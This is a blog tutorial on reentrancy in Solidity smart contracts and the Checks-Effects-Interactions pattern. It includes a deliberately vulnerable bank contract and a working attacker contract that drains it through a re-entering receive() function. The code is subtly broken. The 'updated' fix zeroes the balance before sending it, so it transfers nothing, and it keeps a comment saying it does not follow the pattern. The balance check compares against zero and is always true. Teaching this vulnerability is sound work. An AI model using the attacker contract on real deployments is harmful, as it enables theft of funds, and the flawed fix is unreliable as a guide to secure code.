DEV Community

Logesh N
Logesh N

Posted on

COMMON VULNERABILITIES: REENTRANCY PART — I

Reentrancy is a vulnerability that can occur in smart contracts when they interact with other contracts. This vulnerability allows an attacker to repeatedly call back into the vulnerable contract before the current call completes, potentially leading to unexpected behavior and allowing the attacker to manipulate the contract's state.

  1. Contract Interaction: Smart contracts often interact with other contracts on the Ethereum blockchain, either to transfer tokens, update state, or perform other operations.

  2. External Calls: When a contract makes an external call to another contract using the call or send function, execution is temporarily transferred to the called contract. This means that the original contract's execution pauses while the called contract executes its code.

  3. Untrusted Contract Interaction: In a reentrancy attack, an attacker exploits this pause in execution to call back into the original contract from within the called contract before the original call completes. This creates a loop where the attacker's contract can repeatedly call back into the vulnerable contract before the original call finishes.

  4. State Manipulation: During each reentrant call, the attacker's contract can manipulate the state of the vulnerable contract, potentially altering balances, updating permissions, or performing other unauthorized actions.

  5. Unexpected Behavior: Depending on the logic of the vulnerable contract, this repeated reentrant calling can lead to unexpected behavior, such as incorrect state changes, loss of funds, or denial of service.

  6. Example: One common scenario where reentrancy can occur is in contracts that involve transferring funds. If the contract's state is updated after transferring funds but before updating the sender's balance, an attacker can exploit this window of opportunity to repeatedly call back into the contract, effectively withdrawing funds multiple times before the sender's balance is updated.

Mitigation

To prevent reentrancy vulnerabilities, developers should follow best practices such as using the "Checks-Effects-Interactions" pattern, where state changes are made before interacting with external contracts, and using mechanisms like reentrancy guard to prevent multiple reentrant calls during the same transaction. Additionally, avoiding the use of send and call.value for transferring Ether, in favor of transfer or using withdrawal patterns, can help mitigate the risk of reentrancy attacks.

Checks-Effects-Interactions:

Checks-Effects-Interactions are commonly used in the context of software development patterns and best practices, particularly in the Ethereum and smart contract development community.

  • Checks: These refer to validation steps or conditions that need to be verified before proceeding with certain actions in a smart contract. Checks ensure that preconditions are met before executing critical operations.

  • Effects: Effects encompass the changes or updates made to the state of the smart contract after certain conditions have been checked and validated. These changes typically involve modifying variables, updating balances, emitting events, or performing other state modifications.

  • Interactions: Interactions involve communication and engagement with external entities, such as other smart contracts, Ethereum addresses, or off-chain systems. Interactions can include sending Ether, calling functions in other contracts, emitting events, or triggering external actions.

While Solidity itself provides language constructs for implementing these concepts, such as conditional statements (if, require, assert), state variables, and functions for interacting with external contracts (call, send, transfer), the categorization into "checks," "effects," and "interactions" is more of a conceptual framework or design pattern used by developers to structure their smart contracts in a clear and secure manner.

In Solidity, the Checks-Effects-Interactions pattern refers to a best practice for structuring smart contract functions to mitigate certain types of vulnerabilities, including reentrancy. Let's break down what each of these components entails within the context of Solidity:

  1. Checks:

    • Checks involve validating conditions before executing the main logic of the function. This ensures that the function can only proceed if certain prerequisites are met.
    • Common checks include verifying input parameters, ensuring that the sender has the required permissions or balance, and confirming that the contract is in the correct state to execute the desired operation.
    • Checks are typically performed using if or require or assert statements to validate conditions and revert the transaction if necessary.
  2. Effects:

    • Effects encompass the changes made to the contract's state as a result of executing the function. This includes modifications to storage variables, updating balances, emitting events, or performing other state-altering operations.
    • It's crucial to ensure that all necessary state changes are made in this phase of the function execution. These changes should accurately reflect the intended behavior of the contract and the outcome of the function execution.
  3. Interactions:

    • Interactions involve communicating with external contracts or accounts, such as sending Ether, calling functions on other contracts, or emitting events that trigger off-chain actions.
    • It's important to perform interactions after completing all state changes to minimize the risk of vulnerabilities like reentrancy.
    • Interactions should be carefully handled to account for potential failures, such as handling errors that occur during external calls and ensuring that the contract's state remains consistent.

To illustrate these concepts, let's consider a simple example of a Solidity function:

function transfer(address recipient, uint256 amount) public {
    // Check if the sender has sufficient balance
    require(balance[msg.sender] >= amount, "Insufficient balance");

    // Effects: Update sender and recipient balances
    balance[msg.sender] -= amount;
    balance[recipient] += amount;

    // Interactions: Emit an event to log the transfer
    emit Transfer(msg.sender, recipient, amount);
}
Enter fullscreen mode Exit fullscreen mode

In this example:

  • The "checks" are performed using the require statement to ensure that the sender has sufficient balance to transfer the specified amount.
  • The "effects" involve updating the balances of the sender and recipient in the contract's state.
  • The "interactions" consist of emitting an event to log the transfer, which communicates the outcome of the transaction but doesn't involve external contracts or accounts in this case.

Let's consider another example, this time involving a contract that allows users to withdraw funds from their account balances:

contract SimpleBank {
    mapping(address => uint256) public balances;

    event Withdrawal(address indexed account, uint256 amount);

    function withdraw(uint256 amount) public {
        // Checks: Ensure that the sender has a sufficient balance to withdraw
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // Effects: Update the sender's balance
        balances[msg.sender] -= amount;

        // Interactions: Transfer Ether to the sender
        msg.sender.transfer(amount);

        // Emit an event to log the withdrawal
        emit Withdrawal(msg.sender, amount);
    }
}
Enter fullscreen mode Exit fullscreen mode

In this example:

  1. Checks:

    • The function starts with a check to ensure that the sender (msg.sender) has a sufficient balance to withdraw the specified amount. If the condition is not met, the function will revert, preventing the transaction from proceeding.
  2. Effects:

    • After the check is successfully passed, the function proceeds to update the sender's balance by subtracting the withdrawn amount from their account balance. This modification reflects the effect of the withdrawal on the contract's state.
  3. Interactions:

    • Once the state changes have been applied, the function performs the interaction by transferring Ether (amount) to the sender's address (msg.sender) using transfer(). This action effectively completes the withdrawal process by transferring funds to the user.
    • Additionally, the function emits an event (Withdrawal) to log the withdrawal transaction, providing transparency and allowing clients to monitor account activity.

This example demonstrates how the Checks-Effects-Interactions pattern can be applied in a contract that involves user interactions and state changes. By following this pattern, the contract ensures that critical checks are performed upfront, state changes are accurately reflected, and interactions with external entities are handled safely and consistently.

Attacker's Perspective

Example Vulnerable Contract:

contract VulnerableBank {

    mapping (address=>uint256) balance;

    function deposit () external payable {
        balance[msg.sender]+=msg.value;
    }

    // Note: The `withdraw()` function does not follows the Checks-Effects-Interactions pattern
    function withdraw () external payable{

        require(balance[msg.sender]>=0,'Not enough ether');          // Checks

        payable(msg.sender).call{value:balance[msg.sender]}("");     // Interactions

        balance[msg.sender]=0;                                       // Effects
    }

    function banksBalance () public view returns (uint256){
        return address(this).balance;
    }

    function userBalance (address _address) public view returns (uint256){
        return balance[_address];
    }
}
Enter fullscreen mode Exit fullscreen mode

Attack Scenario:

  • Attacker: The attacker creates a malicious contract. See below for Attacker's Contract.
  • Malicious contract: Calls the deposit function on a vulnerable contract to increase its balance by 1 eth.
  • Vulnerable contract: It records the transfer and increases the attacker’s contract balance.
  • Malicious contract: Calls the withdraw function on a vulnerable contract to extract everything they deposited.
  • Vulnerable contract: Checks if the stored balance of the attacker is greater than or equal to 0.
  • Vulnerable contract: Yes, it is greater than 0 due to the transfer in 3.
  • Vulnerable contract: It transfers the value of the deposited amount to the attacker’s contract.
  • Malicious contract: When a transfer is received, the receive function is called.
  • Malicious contract: The receive function checks if the bank’s balance is higher than 1 eth, if yes it calls the withdraw function again on the vulnerable contract.
  • Vulnerable contract: Allows another withdraw because the attacker’s balance has not yet been updated. …and so (6-10) on until all 10 eths are pulled out!

Attacker's Contract:

contract LetsRobTheBank {

    VulnerableBank bank;

    constructor (address payable _target) {
        bank = VulnerableBank(_target);
    }

    function attack () public payable {
        bank.deposit{value:1 ether}();
        bank.withdraw();
    }
    function attackerBalance () public view returns (uint256){
        return address(this).balance;
    }

    receive () external payable {
        if(bank.banksBalance()>1 ether){
            bank.withdraw();
        } 
    } 
}
Enter fullscreen mode Exit fullscreen mode

How to protect yourself against reentrancy attack?

Design functions based on the following principles – Checks Effects Interactions

  • First – make all your checks,
  • Then – make changes e.g. update balances,
  • Finally – call another contract.

CEI pattern will eliminate most of the problems, so try to always build the contract logic based on this scheme. Make all your checks first, then update balances and make changes, and only then call another contract.

Updated Vulnerable Contract:

contract VulnerableBank {

    mapping (address=>uint256) balance;

    function deposit () external payable {
        balance[msg.sender]+=msg.value;
    }

    // Note: The `withdraw()` function does not follows the Checks-Effects-Interactions pattern
    function withdraw () external payable{

        require(balance[msg.sender]>=0,'Not enough ether');          // Checks

        balance[msg.sender]=0;                                       // Effects

        payable(msg.sender).call{value:balance[msg.sender]}("");     // Interactions
    }

    function banksBalance () public view returns (uint256){
        return address(this).balance;
    }

    function userBalance (address _address) public view returns (uint256){
        return balance[_address];
    }
}
Enter fullscreen mode Exit fullscreen mode

Use mutex – add nonReentrant modifier

  • Use a ready-made implementation of nonReentrant modifier.
  • Add nonReentrant modifier to all external functions.
  • Go through all the functions and if you are sure that the vulnerability does not exist in a particular function, remove the modifier.

Conclusion

The reentrancy bug is a serious vulnerability ("critical") in smart contracts that allows attackers to manipulate the contract's state by repeatedly calling back into the contract before the current call completes. This can lead to unexpected behavior, loss of funds, or denial of service. To prevent reentrancy attacks, developers should follow best practices such as using the Checks-Effects-Interactions pattern, implementing mutex patterns or reentrancy guards, and avoiding making external calls in critical sections of the code. By adhering to these practices, developers can ensure the security and integrity of their smart contracts on the Ethereum blockchain.

For more visit my Github: https://github.com/logesh21n/Solidity-Common-Vulnerabilities

Top comments (0)